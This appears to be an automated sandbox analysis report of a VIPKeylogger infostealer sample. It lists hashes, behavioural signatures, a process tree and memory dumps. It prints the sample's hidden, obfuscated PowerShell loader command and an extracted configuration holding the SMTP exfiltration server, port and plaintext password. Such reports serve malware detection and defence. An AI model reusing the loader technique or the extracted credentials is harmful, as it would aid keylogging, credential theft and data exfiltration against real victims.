Analysis
- max time kernel
142s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
19/10/2024, 02:41
General
- Target eaad1405d982abce9c944768bb64cb756387c3808256ffc1b135b5f85509da7a.exe
- Size 743KB
- Sample241019-c6jvpsvbpr
- SHA256 eaad1405d982abce9c944768bb64cb756387c3808256ffc1b135b5f85509da7a
Malware Config
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
smtp.ionos.es
-
Port
587
-
Username
-
Password
#BOYS_2019_ToNa#
-
Email to
Signatures
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
- Blocklisted process makes network request 14 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
- Drops file in Windows directory 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 22 IoCs
- Suspicious behavior: MapViewOfSection 2 IoCs
- Suspicious use of AdjustPrivilegeToken 46 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\eaad1405d982abce9c944768bb64cb756387c3808256ffc1b135b5f85509da7a.exe"C:\Users\Admin\AppData\Local\Temp\eaad1405d982abce9c944768bb64cb756387c3808256ffc1b135b5f85509da7a.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Danicism=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\superincomprehensible\Secundille.Ant';$Blrerodens=$Danicism.SubString(56385,3);.$Blrerodens($Danicism)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Danicism=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\superincomprehensible\Secundille.Ant';$Blrerodens=$Danicism.SubString(56385,3);.$Blrerodens($Danicism)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
05DDC6AA91765AACACDB0A5F96DF8199
24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
4FA45AE1010E09657982D8D28B3BD38E_B60DAD4239F8DBB7FDA230724F9F9DFD
DDE8B1B7E253A9758EC380BD648952AF_3459237E893F04A4596206DC25825D64
05DDC6AA91765AACACDB0A5F96DF8199
24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
4FA45AE1010E09657982D8D28B3BD38E_B60DAD4239F8DBB7FDA230724F9F9DFD
DDE8B1B7E253A9758EC380BD648952AF_3459237E893F04A4596206DC25825D64
__PSScriptPolicyTest_jmxcmswq.0sf.ps1
Barkarolers.Udp
Secundille.Ant
memory/216-73-0x0000000007D50000-0x0000000007D7A000-memory.dmp
memory/216-10-0x0000000005760000-0x0000000005D88000-memory.dmp
memory/216-36-0x0000000006630000-0x000000000664E000-memory.dmp
memory/216-37-0x00000000066C0000-0x000000000670C000-memory.dmp
memory/216-9-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/216-14-0x0000000005FA0000-0x0000000006006000-memory.dmp
memory/216-26-0x0000000006010000-0x0000000006364000-memory.dmp
memory/216-90-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/216-15-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/216-87-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/216-45-0x000000006FB00000-0x000000006FB4C000-memory.dmp
memory/216-47-0x0000000070280000-0x00000000705D4000-memory.dmp
memory/216-85-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/216-57-0x0000000007A40000-0x0000000007A5E000-memory.dmp
memory/216-82-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/216-59-0x0000000007AB0000-0x0000000007B53000-memory.dmp
memory/216-46-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/216-44-0x0000000007A60000-0x0000000007A92000-memory.dmp
memory/216-78-0x000000007367E000-0x000000007367F000-memory.dmp
memory/216-13-0x0000000005EB0000-0x0000000005F16000-memory.dmp
memory/216-72-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/216-6-0x000000007367E000-0x000000007367F000-memory.dmp
memory/216-74-0x0000000007D80000-0x0000000007DA4000-memory.dmp
memory/1848-38-0x0000000006840000-0x00000000068D6000-memory.dmp
memory/1848-8-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/1848-79-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/1848-80-0x0000000008B90000-0x0000000009EEF000-memory.dmp
memory/1848-60-0x0000000070280000-0x00000000705D4000-memory.dmp
memory/1848-83-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/1848-84-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/1848-58-0x000000006FB00000-0x000000006FB4C000-memory.dmp
memory/1848-86-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/1848-43-0x0000000008510000-0x0000000008B8A000-memory.dmp
memory/1848-89-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/1848-41-0x00000000078E0000-0x0000000007E84000-memory.dmp
memory/1848-39-0x00000000067E0000-0x00000000067FA000-memory.dmp
memory/1848-27-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/1848-70-0x0000000007880000-0x000000000788A000-memory.dmp
memory/1848-71-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/1848-40-0x0000000007300000-0x0000000007322000-memory.dmp
memory/1848-12-0x0000000005220000-0x0000000005242000-memory.dmp
memory/1848-11-0x0000000073670000-0x0000000073E20000-memory.dmp
memory/1848-7-0x0000000002D00000-0x0000000002D36000-memory.dmp
memory/2276-117-0x0000000001290000-0x00000000012D8000-memory.dmp
memory/2276-116-0x0000000001290000-0x00000000024E4000-memory.dmp
memory/2276-118-0x0000000021850000-0x00000000218EC000-memory.dmp
memory/3200-97-0x00000000007F0000-0x0000000001A44000-memory.dmp
memory/3200-120-0x00000000007F0000-0x0000000000838000-memory.dmp
memory/3200-119-0x00000000007F0000-0x0000000001A44000-memory.dmp
memory/3200-127-0x00000000217B0000-0x0000000021972000-memory.dmp
memory/3200-128-0x0000000020FD0000-0x0000000021020000-memory.dmp
memory/3200-131-0x0000000021680000-0x0000000021712000-memory.dmp
memory/3200-132-0x00000000215F0000-0x00000000215FA000-memory.dmp